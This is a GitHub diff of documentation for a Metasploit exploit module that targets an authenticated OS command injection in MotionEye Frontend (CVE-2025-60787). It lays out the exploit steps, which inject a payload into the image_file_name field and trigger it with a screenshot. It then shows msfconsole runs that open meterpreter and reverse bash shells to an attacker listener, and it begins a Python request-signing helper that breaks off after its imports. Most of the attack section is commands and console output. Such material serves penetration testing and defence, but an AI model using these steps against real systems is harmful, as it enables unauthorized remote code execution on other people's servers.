You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: documentation/modules/exploit/multi/http/motioneye_auth_rce_cve_2025_60787.md
+152-6Lines changed: 152 additions & 6 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,13 +1,16 @@
1
1
## Vulnerable Application
2
2
3
-
This module exploits a template injection vulnerability in the MotionEye.
3
+
This module exploits a template injection vulnerability in the [MotionEye Frontend](https://github.com/motioneye-project/motioneye).
4
4
5
-
MotionEye is vulnerable to OS Command Injection in configuration parameters such as image_file_name.
6
-
Unsanitized user input is written to Motion configuration files,
7
-
allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.
5
+
MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as `image_file_name`.
6
+
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.
8
7
9
-
This vulnerability affects MotionEye versions <= 0.43.1b4 are vulnerable.
10
-
Successful exploitation may result in the remote code execution under the privileges
8
+
Exploit workflow:
9
+
1. Adds a new camera in MotionEye Frontend.
10
+
2. Injects the payload into the image_file_name field (used for naming camera screenshots).
11
+
3. Captures a screenshot, triggering the payload.
12
+
13
+
Successful exploitation may result in the remote code execution as the user running
11
14
of the web server, potentially exposing sensitive data or disrupting survey operations.
12
15
13
16
An attacker can execute arbitrary system commands in the context of the user running the web server.
@@ -22,6 +25,8 @@ An attacker can execute arbitrary system commands in the context of the user run
22
25
23
26
## Scenario
24
27
28
+
### cmd/linux/http/x64/meterpreter/reverse_tcp
29
+
25
30
```
26
31
msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787
27
32
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
@@ -55,4 +60,145 @@ OS : Debian 13.1 (Linux 6.11.2-amd64)
55
60
Architecture : x64
56
61
BuildTuple : x86_64-linux-musl
57
62
Meterpreter : x64/linux
63
+
```
64
+
65
+
### cmd/unix/reverse_bash
66
+
67
+
```
68
+
msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787
69
+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
70
+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set payload cmd/unix/reverse_bash
71
+
payload => cmd/unix/reverse_bash
72
+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1
73
+
RHOSTS => 127.0.0.1
74
+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 9999
75
+
RPORT => 9999
76
+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
77
+
78
+
[*] Started reverse TCP handler on 192.168.19.130:4444
79
+
[*] Running automatic check ("set AutoCheck false" to disable)
80
+
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
81
+
[*] Adding camera...
82
+
[+] Camera successfully added
83
+
[*] Setting up exploit...
84
+
[+] Exploit installation completed
85
+
[*] Executing exploit...
86
+
[+] Execution exploit request sent successfully
87
+
[*] Removing camera
88
+
[+] Camera removed successfully
89
+
[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400
90
+
91
+
cat /etc/os-release
92
+
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
93
+
NAME="Debian GNU/Linux"
94
+
VERSION_ID="13"
95
+
VERSION="13 (trixie)"
96
+
VERSION_CODENAME=trixie
97
+
DEBIAN_VERSION_FULL=13.1
98
+
ID=debian
99
+
HOME_URL="https://www.debian.org/"
100
+
SUPPORT_URL="https://www.debian.org/support"
101
+
BUG_REPORT_URL="https://bugs.debian.org/"
102
+
```
103
+
104
+
## Script for signing requests
105
+
106
+
The application verifies request signatures, so I wrote a small script to sign requests manually.
107
+
108
+
You won't need it if you use the exploit, but it can be useful for debugging.
109
+
110
+
```
111
+
import hashlib
112
+
import re
113
+
import argparse
114
+
import sys
115
+
from urllib.parse import urlsplit, parse_qs, unquote, quote
0 commit comments